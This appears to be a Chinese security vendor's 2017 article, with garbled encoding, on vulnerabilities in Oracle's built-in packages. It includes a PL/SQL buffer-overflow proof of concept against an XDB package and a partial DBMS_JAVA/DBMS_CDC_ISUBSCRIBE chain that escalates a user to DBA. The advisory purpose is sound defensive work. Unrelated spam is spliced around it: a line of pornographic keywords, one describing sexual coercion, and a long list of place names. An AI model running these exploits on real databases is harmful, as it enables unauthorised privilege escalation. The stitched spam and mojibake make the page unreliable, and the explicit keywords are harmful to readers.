欧美乱码精品一区二区三区,风流少妇又紧又爽又丰满,被债主在夫面前人妻被强,国产精品视频永久免费观看

?
內(nèi)容中心
按關(guān)鍵字查找
數(shù)據(jù)庫(kù)自身安全漏洞分析之內(nèi)建存儲(chǔ)對(duì)象的安全問(wèn)題
作者:安華金和 發(fā)布時(shí)間:2017-01-13

許多數(shù)據(jù)庫(kù)系統(tǒng)都提供大量?jī)?nèi)建的存儲(chǔ)過(guò)程和軟件包。這些存儲(chǔ)過(guò)程對(duì)象為數(shù)據(jù)庫(kù)提供了額外的幫助,同時(shí)幫助管理員和開(kāi)發(fā)者管理數(shù)據(jù)庫(kù)系統(tǒng)。

例如目前用戶量最廣的Oracle數(shù)據(jù)庫(kù),默認(rèn)情況下在安裝時(shí)便擁有多達(dá)30000個(gè)可以公開(kāi)訪問(wèn)的對(duì)象,這些對(duì)象為許多任務(wù)(包括訪問(wèn)OS文件、發(fā)送HTTP請(qǐng)求、管理XML對(duì)象、java服務(wù)以及支持復(fù)制)提供相應(yīng)的功能。這些功能都會(huì)在網(wǎng)絡(luò)上開(kāi)啟對(duì)應(yīng)端口,而每多開(kāi)一個(gè)網(wǎng)絡(luò)端口就為數(shù)據(jù)庫(kù)安全造成多一份入侵威脅。

這些內(nèi)建對(duì)象包含的漏洞覆蓋了:SQL注入、緩沖區(qū)溢出和應(yīng)用程序邏輯漏洞等。Oracle的內(nèi)建包中含有大量這種漏洞,我們下面就拿一個(gè)XDB上緩沖區(qū)溢出的漏洞舉例。

Declare

buff varchar2(32767);

begin

buff :=’12345678901234567890123456789’;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=’12345678901234567890123456789’;

XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);

end;

同樣java也存在大量此種漏洞,并且危害比上面的XDB還嚴(yán)重

…..DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’,’oracle/aurora/rdbms/DbmsJava’,’SYS’,’writeOutputToFile’,’TEXT’,NULL,NULL,NULL,NULL 0,1,1,1,1,0,’ DECLARE PRAG…….

EXEC DBMS_CDC_ISUBSCRIBE……

上面這個(gè)漏洞是針對(duì)ORACLE 11.1系列 的JAVA漏洞。利用DBMS_CDC_ISUBSCRIBE 包可被 任意帳號(hào)執(zhí)行,但這個(gè)包的創(chuàng)建者是sys。如果執(zhí)行DBMS_CDC_ISUBSCRIBE 的回話是sys,就可以執(zhí)行sys權(quán)限(提權(quán)到DBA)DBMS_JAVA.SET_OUTPUT_TO_JAVA  函數(shù)可以把system.err的java重定向到一個(gè)新的會(huì)話中。于是我們故意輸入錯(cuò)誤參數(shù)導(dǎo)致DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW 產(chǎn)生錯(cuò)誤,并把錯(cuò)誤寫入到system.err中。同時(shí)創(chuàng)建一個(gè)新SYS權(quán)限會(huì)話 。真正被執(zhí)行的語(yǔ)句是 EXECUTE IMMEDIATE "grant dba to user()"

我們從上面的例子中不難看出這種漏洞對(duì)于數(shù)據(jù)庫(kù)安全的危害很大。建議數(shù)據(jù)庫(kù)的使用者及時(shí)更新數(shù)據(jù)庫(kù)廠商發(fā)布的官方補(bǔ)丁,同時(shí)關(guān)閉不必要的對(duì)象以及對(duì)應(yīng)端口。如果由于某種原因無(wú)法對(duì)數(shù)據(jù)庫(kù)進(jìn)行補(bǔ)丁升級(jí),建議使用帶VPATCH功能的數(shù)據(jù)庫(kù)防火墻保護(hù)數(shù)據(jù)庫(kù)安全


?
福建省| 闵行区| 昌图县| 临潭县| 萝北县| 大厂| 汝南县| 平武县| 逊克县| 桐乡市| 鲁山县| 广德县| 青冈县| 敦化市| 灌云县| 内丘县| 包头市| 吉隆县| 连江县| 泾川县| 阳新县| 开远市| 海兴县| 新干县| 毕节市| 达州市| 黎平县| 平昌县| 万荣县| 英超| 水富县| 西贡区| 垣曲县| 依兰县| 德昌县| 南皮县| 开封县| 织金县| 怀安县| 南平市| 辉南县|